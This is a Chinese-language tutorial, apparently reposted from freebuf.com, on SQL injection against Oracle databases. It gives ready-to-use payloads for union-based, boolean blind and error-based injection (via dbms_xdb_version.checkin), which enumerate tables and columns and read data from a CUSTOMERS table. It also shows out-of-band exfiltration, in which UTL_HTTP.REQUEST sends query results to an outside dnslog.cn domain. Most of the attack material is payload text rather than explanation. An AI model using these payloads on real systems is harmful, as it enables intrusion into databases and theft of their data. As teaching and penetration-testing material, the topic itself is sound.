一、联合注入
1.1、判断是否存在注入点
方法和其他数据库类似,and 1=1 和and 1=2
1.2、判断数据库为oracle
注释符号–,该符号是Oracle和MsSQL支持的注释符,返回正常就需要继续判断。可以继续提交多语句支持符号;如果支持多行查询,说明是MSSQL,因为Oracle不支持多行查询,可以继续提交查询语
and (select count(*) from user_tables)>0–
利用的原理是dual表和user_tables表是oracle中的系统表,返回正常就判断为Oracle
1.3、获取基本信息
1.3.1、获取字段数,同样可以使用oder by N 根据返回页面判断
1.3.2、判断列数
union select ‘1’,’a’,’3′,’4′,’5′ from dual — //返回正常,则第一个字段是数字型,返回错误,为字符型,这里5个字段都为字符型
1.3.3、获取数据库版本
union select ‘1’,(select banner from sys.v_$version where rownum=1),’3′,’4′,’5′ from dual —
查询,当前表所属用户,相当于当前库,如下
1.3.4、查询第一个表名
union select ‘1’,(select table_name from user_tables where rownum=1),’3′,’4′,’5′ from dual —
union select ‘1’,(select table_name from user_tables where rownum=1 and table_name<>’表名’),’3′,’4′,’5′ from dual — //第二个表名
查看第一个字段名
union select ‘1’,(select column_name from user_tab_columns where table_name=’CUSTOMERS’ and rownum=1),’3′,’4′,’5′ from dual —
查看第二个字段名
union select ‘1’,(select column_name from user_tab_columns where table_name=’CUSTOMERS’ and rownum=1 and column_name<>’id’),’3′,’4′,’5′ from dual —
查看第三个字段名,在后面再加一个and column_name<>’名称’
select column_name from user_tab_columns where table_name='[表名]’ and rownum=1 and column_name<>'[第一个字段]’ and column_name<>'[第二个字段名]’
读取数据
union select ‘1’,age,NAME,’4′,’5′ from CUSTOMERS —
二、DNSlog
首先去http://www.dnslog.cn/网站申请一个域名
UTL_HTTP.REQUEST型
and 1=2 union select ‘1’,’2′,UTL_HTTP.REQUEST((select table_name from user_tables where rownum=1)||’.o69syg.dnslog.cn’),’4′,’5′ from dual —
第一个字段名
union select ‘1’,’2′,UTL_HTTP.REQUEST((select column_name from user_tab_columns where table_name=’CUSTOMERS’ and rownum=1)||’.o69syg.dnslog.cn
‘),’4′,’5’ from dual —
UTL_INADDR.GET_HOST_ADDRESS型DNSlog注入
三、布尔盲注
3.1、获取当前数据库表的个数
and (select count(table_name) from user_tables)>1–
3.2、获取第一个表的表名长度
and (select length(table_name) from user_tables where rownum=1)>8–
获取第一个表的第一个字符的Ascii码的值
and ascii(substr((select table_name from user_tables where rownum=1),3,1))>82–
四、报错注入–报错函数dbms_xdb_version.checkin()函数
4.1、获取数据库版本信息
and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null–
4.2、当前数据库名称
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null–
来源:freebuf.com 2020-09-09 20:14:08 by: 东塔安全学院
请登录后发表评论
注册